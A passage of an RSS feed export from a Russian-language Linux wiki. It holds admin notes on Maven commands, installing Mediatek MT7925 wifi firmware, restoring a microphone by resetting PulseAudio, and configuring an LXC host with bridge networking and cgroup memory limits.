&lt;a href=&quot;https://github.com/trueos/pcbsd/blob/master/overlays/install-overlay/boot/grub/grub.cfg.pcbsd&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/trueos/pcbsd/blob/master/overlays/install-overlay/boot/grub/grub.cfg.pcbsd&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/trueos/pcbsd/blob/master/overlays/install-overlay/boot/grub/grub.cfg.pcbsd&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 \u043e\u0431\u0440\u0430\u0437\u0430 iso&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430_\u043e\u0431\u0440\u0430\u0437\u0430_iso&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2964-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>maven</title>
            <link>https://wiki.autosys.tk/linux_faq/maven</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;заметки_о_maven&quot;&gt;Заметки о maven&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043c\u0435\u0442\u043a\u0438 \u043e maven&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043c\u0435\u0442\u043a\u0438_\u043e_maven&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-38&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;переменные_окружения&quot;&gt;Переменные окружения&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для работы maven нужны переменные окружения:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 JAVA_HOME
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 MAVEN_HOME
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 M2_HOME
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435_\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;39-209&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;инициализация_проекта_и_скачивание_плагинов&quot;&gt;Инициализация проекта и скачивание плагинов&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;mvn archetype:generate&lt;/pre&gt;

&lt;p&gt;
Мавен скачает плагины (архетипы проектов), предложит ввести:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 номер архетипа (или оставить дефолтный - quickstart)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Версию архетипа
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 groupId - по соглашению - это имя сайта организации в обратной нотации - com.org.name
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 artefactId - название проекта
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 version - версию проекта
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 package - имя директории, в где будет собран этот аретфакт (директории &lt;strong&gt;class&lt;/strong&gt; и &lt;strong&gt;test&lt;/strong&gt;). 
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;
В итоге - у собранного проекта будет название - artefactId-version
 и построит структуру директорий, необходимую для проекта. &lt;br/&gt;

Плагины попадут в &lt;strong&gt;~/.m2/repository/&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f_\u043f\u0440\u043e\u0435\u043a\u0442\u0430_\u0438_\u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435_\u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;210-1216&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;структура_директорий_проекта_maven&quot;&gt;Структура директорий проекта maven&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 maven&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430_\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439_\u043f\u0440\u043e\u0435\u043a\u0442\u0430_maven&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1217-1290&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;типичный_workflow&quot;&gt;Типичный workflow&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;mvn clean&lt;/pre&gt;

&lt;p&gt;
Очистит проект.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn compile&lt;/pre&gt;

&lt;p&gt;
Соберет код проекта и в итоге - создаст директории &lt;strong&gt;target/classes/….&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn test-compile&lt;/pre&gt;

&lt;p&gt;
Соберет код тестов проекта и в итоге - создаст директории &lt;strong&gt;target/test-classes/….&lt;/strong&gt;
  mvn test
Запустит собранные тесты
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn install&lt;/pre&gt;

&lt;p&gt;
Собрет &lt;strong&gt;jar&lt;/strong&gt;-файл и положит его в корень директории &lt;strong&gt;target&lt;/strong&gt;. Также - установит его в локальный репозиторий (&lt;strong&gt;~/.m2/repository&lt;/strong&gt;) для использования его в качестве зависимости в других пакетах.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 workflow&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439_workflow&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1291-2054&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;расширенный_workflow&quot;&gt;Расширенный workflow&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;mvn validate&lt;/pre&gt;

&lt;p&gt;
Валидирует проект.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn compile&lt;/pre&gt;

&lt;p&gt;
Соберет код проекта и в итоге - создаст директории &lt;strong&gt;target/classes/….&lt;/strong&gt;
  mvn test-compile
Соберет код тестов проекта и в итоге - создаст директории &lt;strong&gt;target/test-classes/….&lt;/strong&gt;
  mvn test
Запустит собранные тесты
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn package&lt;/pre&gt;

&lt;p&gt;
Соберет пакет
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn intergration-test&lt;/pre&gt;

&lt;p&gt;
Запуск интеграционных тестов.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn verify&lt;/pre&gt;

&lt;p&gt;
Проверка пакета
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn install&lt;/pre&gt;

&lt;p&gt;
Собрет &lt;strong&gt;jar&lt;/strong&gt;-файл и положит его в корень директории &lt;strong&gt;target&lt;/strong&gt;. Также - установит его в локальный репозиторий (&lt;strong&gt;~/.m2/repository&lt;/strong&gt;) для использования его в качестве зависимости в других пакетах.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn deploy&lt;/pre&gt;

&lt;p&gt;
Копирует собранный пакет на удаленный репозиторий для дальнейшего использваония в совместной разработке или продакшене. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 workflow&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439_workflow&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2055-3238&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;выкачать_зависимости&quot;&gt;Выкачать зависимости&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Скачать зависимости, указанные в pom-файлике можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn dependency:copy-dependencies -DoutputDirectory=yourfoldername -Dhttps.protocols=TLSv1.2&lt;/pre&gt;

&lt;p&gt;
Скачать исходники зависимостей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn dependency:copy-dependencies -Dclassifier=sources -DoutputDirectory=yourfoldername -Dhttps.protocols=TLSv1.2&lt;/pre&gt;

&lt;p&gt;
Чтобы скачать зависимости через &lt;strong&gt;proxy&lt;/strong&gt; в файлик конфигурации &lt;strong&gt;maven&lt;/strong&gt; (&lt;strong&gt;conf/settings.xml&lt;/strong&gt;) нужно добавить такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;settings&amp;gt;
  &amp;lt;proxies&amp;gt;
   &amp;lt;proxy&amp;gt;
      &amp;lt;active&amp;gt;true&amp;lt;/active&amp;gt;
      &amp;lt;protocol&amp;gt;http&amp;lt;/protocol&amp;gt;
      &amp;lt;host&amp;gt;PUT-YOUR-PROXY-NAME&amp;lt;/host&amp;gt;
      &amp;lt;port&amp;gt;PUT-YOUR-PORT-NUMBER&amp;lt;/port&amp;gt;
      &amp;lt;username&amp;gt;proxyuser&amp;lt;/username&amp;gt;
      &amp;lt;password&amp;gt;somepassword&amp;lt;/password&amp;gt;
      &amp;lt;nonProxyHosts&amp;gt;www.google.com|*.somewhere.com&amp;lt;/nonProxyHosts&amp;gt;
    &amp;lt;/proxy&amp;gt;
  &amp;lt;/proxies&amp;gt;
&amp;lt;/settings&amp;gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u043a\u0430\u0447\u0430\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u043a\u0430\u0447\u0430\u0442\u044c_\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;3239-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 21 Apr 2020 12:52:17 +0000</pubDate>
        </item>
        <item>
            <title>mediatek_wifi_firmware</title>
            <link>https://wiki.autosys.tk/linux_faq/mediatek_wifi_firmware</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/morrownr/USB-WiFi/blob/main/home/How_to_Install_Firmware_for_Mediatek_based_USB_WiFi_adapters.md&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/morrownr/USB-WiFi/blob/main/home/How_to_Install_Firmware_for_Mediatek_based_USB_WiFi_adapters.md&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/morrownr/USB-WiFi/blob/main/home/How_to_Install_Firmware_for_Mediatek_based_USB_WiFi_adapters.md&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;mt7925_-_mt7925_chipset&quot;&gt;MT7925 - mt7925 chipset&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Скачиваем отсюда фирмварь: &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/mediatek/mt7925&quot; class=&quot;urlextern&quot; title=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/mediatek/mt7925&quot; rel=&quot;ugc nofollow&quot;&gt;https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/mediatek/mt7925&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 В зависимости от дистирибутива моджет понадобиться сжать файлики: &lt;pre class=&quot;code&quot;&gt;zstd -fq --rm *.bin&lt;/pre&gt;

&lt;p&gt;
 или 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xz -f -C crc32 *.bin&lt;/pre&gt;

&lt;p&gt;
 или 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gzip -f *.bin&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Копируем фирмварь на место: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir -p /lib/firmware/mediatek/mt7925
sudo cp WIFI_MT7925_PATCH_MCU_1_1_hdr.* WIFI_RAM_CODE_MT7925_1_1.* BT_RAM_CODE_MT7925_1_1_hdr.* /lib/firmware/mediatek/mt7925/&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;MT7925 - mt7925 chipset&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mt7925_-_mt7925_chipset&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;120-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 04 Jun 2025 09:53:01 +0000</pubDate>
        </item>
        <item>
            <title>microphone_disapeared_after_do_release_upgrade</title>
            <link>https://wiki.autosys.tk/linux_faq/microphone_disapeared_after_do_release_upgrade</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Была &lt;strong&gt;Ubuntu 20.04 (Focal Fossa) + KDE&lt;/strong&gt; на ноутбуке &lt;strong&gt;Honor MagicBook Pro&lt;/strong&gt; на базе &lt;strong&gt;AMD Ryzen 4800H&lt;/strong&gt;. &lt;br/&gt;

После обновления до &lt;strong&gt;Ubuntu 20.10 (Groovy Gorilla)&lt;/strong&gt; пропал встроенный микрофон. &lt;br/&gt;

Звук работает, а устройства микрофона даже не видно. &lt;br/&gt;

При запуске &lt;strong&gt;alsamixer&lt;/strong&gt; все становится несколько определеннее. ALSA в системе видит два звуковых адаптера (кнопочка F6) - &lt;strong&gt;ATI R6xx HDMI&lt;/strong&gt; и &lt;strong&gt;Realtek ALC256&lt;/strong&gt;. &lt;br/&gt;

У первого только два S/PDIF выхода, а у второго - всё что нужно. &lt;br/&gt;

Очевидно, если ALSA всё что нужно видит, значит - проблема в настройках &lt;strong&gt;PulseAudio&lt;/strong&gt;. &lt;br/&gt;

Первый же совет со странички &lt;a href=&quot;https://help.ubuntu.com/community/SoundTroubleshootingProcedure&quot; class=&quot;urlextern&quot; title=&quot;https://help.ubuntu.com/community/SoundTroubleshootingProcedure&quot; rel=&quot;ugc nofollow&quot;&gt;https://help.ubuntu.com/community/SoundTroubleshootingProcedure&lt;/a&gt; мне помог. Всё что нужно было - это остановить PulseAudio и удалить его конфигурацию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;killall pulseaudio; pulseaudio -k  ; rm -r ~/.config/pulse/* ; rm -r ~/.pulse*&lt;/pre&gt;

&lt;p&gt;
Всё починилось.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 08 Dec 2020 20:12:13 +0000</pubDate>
        </item>
        <item>
            <title>migrate_openvz_to_lxc</title>
            <link>https://wiki.autosys.tk/linux_faq/migrate_openvz_to_lxc</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_хоста_lxc_на_ubuntu_1604&quot;&gt;Настройка хоста LXC на Ubuntu 16.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0445\u043e\u0441\u0442\u0430 LXC \u043d\u0430 Ubuntu 16.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0445\u043e\u0441\u0442\u0430_lxc_\u043d\u0430_ubuntu_1604&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-66&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;выключаем_ipv6&quot;&gt;Выключаем IPv6&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Чтобы выключить IPv6 правим файлик &lt;strong&gt;/etc/sysctl.conf&lt;/strong&gt; и добавляем туда строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;##Disable IPv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u043a\u043b\u044e\u0447\u0430\u0435\u043c IPv6&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0435\u043c_ipv6&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;67-360&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;настраиваем_hostname&quot;&gt;Настраиваем hostname&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В файликах &lt;strong&gt;/etc/hostname&lt;/strong&gt; и &lt;strong&gt;/etc/hosts&lt;/strong&gt; нужно прописать имя хоста.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c hostname&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_hostname&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;361-510&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;устанавливаем_lxc&quot;&gt;Устанавливаем LXC&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install lxc&lt;/pre&gt;

&lt;p&gt;
Проверить, что все установилось хорошо можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc-checkconfig&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c LXC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_lxc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;511-701&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;настройка_сети&quot;&gt;Настройка сети&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для контейнеров &lt;strong&gt;LXC&lt;/strong&gt; как правило используются два варианта подключения. Первый - когда контейнеры подключаются к сети через NAT и второй - когда контейнеры подключены к физическому интерфейсу через bridge.
По-умолчанию в Ubuntu конфигурируется первый вариант и подключены к сети через &lt;strong&gt;NAT&lt;/strong&gt;. Контейнеры получают адреса по &lt;strong&gt;DHCP&lt;/strong&gt; из диапазона &lt;strong&gt;10.0.x.2-10.0.x.254&lt;/strong&gt;, а мост на хосте LXC получсет адрес &lt;strong&gt;10.0.3.1&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Настройки сети LXC хранятся в файле &lt;strong&gt;/etc/default/lxc-net&lt;/strong&gt;. Там можно включить или выключить &lt;strong&gt;lxcbr0&lt;/strong&gt;, а также задать другие параметры.  
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://habrahabr.ru/company/ua-hosting/blog/305184/&quot; class=&quot;urlextern&quot; title=&quot;https://habrahabr.ru/company/ua-hosting/blog/305184/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habrahabr.ru/company/ua-hosting/blog/305184/&lt;/a&gt; &lt;br/&gt;

Для того чтобы включить bridge непосредственно на физический интерфейс нужно сделать так.  
На всякий случай проверяем что у нас установлены &lt;strong&gt;bridge-utils&lt;/strong&gt;. По идее они должны были поставиться вместе с &lt;strong&gt;lxc&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install bridge-utils&lt;/pre&gt;

&lt;p&gt;
Теперь в файлике &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt; нужно выключить (закомментировать) &lt;strong&gt;eth0&lt;/strong&gt; (или другой физический интерфейс) и прописать вместо него &lt;strong&gt;br0&lt;/strong&gt;, который будет указывать на  &lt;strong&gt;eth0&lt;/strong&gt;. В самом простом случае c &lt;strong&gt;DHCP&lt;/strong&gt; это будет как-то так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# The primary network interface
#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_fd 0&lt;/pre&gt;

&lt;p&gt;
Или как-то так со статическим адресом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auto br0
iface br0 inet static
        address x.x.x.x
        network x.x.x.0
        netmask 255.255.255.0
        broadcast x.x.x.255
        gateway x.x.x.x
        bridge_ports eth0
        bridge_stp off
        bridge_fd 0
        bridge_maxwait 0
        dns-nameserver x.x.x.x x.x.x.x&lt;/pre&gt;

&lt;p&gt;
Выключаем &lt;strong&gt;lxcbr0&lt;/strong&gt;. Для этого в файлике &lt;strong&gt;/etc/default/lxc-net&lt;/strong&gt; устанавливаем 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;USE_LXC_BRIDGE=&amp;quot;false&amp;quot;&lt;/pre&gt;

&lt;p&gt;
и перезагружаем хост.
&lt;/p&gt;

&lt;p&gt;
Теперь чтобы в новых контейнерах по-умолчанию создавался интерфейс, использующий br0 нужно в файлике &lt;strong&gt;/etc/lxc/default.conf&lt;/strong&gt; заменить 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc.network.link = lxcbr0 &lt;/pre&gt;

&lt;p&gt;
на
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc.network.link = br0&lt;/pre&gt;

&lt;p&gt;
Теперь вновь создаваемые контейнеры будут иметь подключение через &lt;strong&gt;br0&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u0435\u0442\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0441\u0435\u0442\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;702-3665&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;установка_лимитов_памяти&quot;&gt;Установка лимитов памяти&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При дефолтной установке &lt;strong&gt;LXC&lt;/strong&gt; после попытке сконфигурировать лимиты потребления памяти контейнер перестает старовать с ошибкой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Permission denied - Error setting memory.memsw.limit_in_bytes &lt;/pre&gt;

&lt;p&gt;
Лечится это добавлением к строке запуска ядра параметров:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cgroup_enable=memory swapaccount=1&lt;/pre&gt;

&lt;p&gt;
Для этого открываем файлик &lt;strong&gt;/etc/default/grub&lt;/strong&gt; и в строке &lt;strong&gt;GRUB_CMDLINE_LINUX_DEFAULT=&lt;/strong&gt; пишем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;cgroup_enable=memory swapaccount=1&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Файлик сохраняем и обновляем конфимгурацию Grub:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
И перезагружаем хост.
&lt;/p&gt;

&lt;/div&gt;
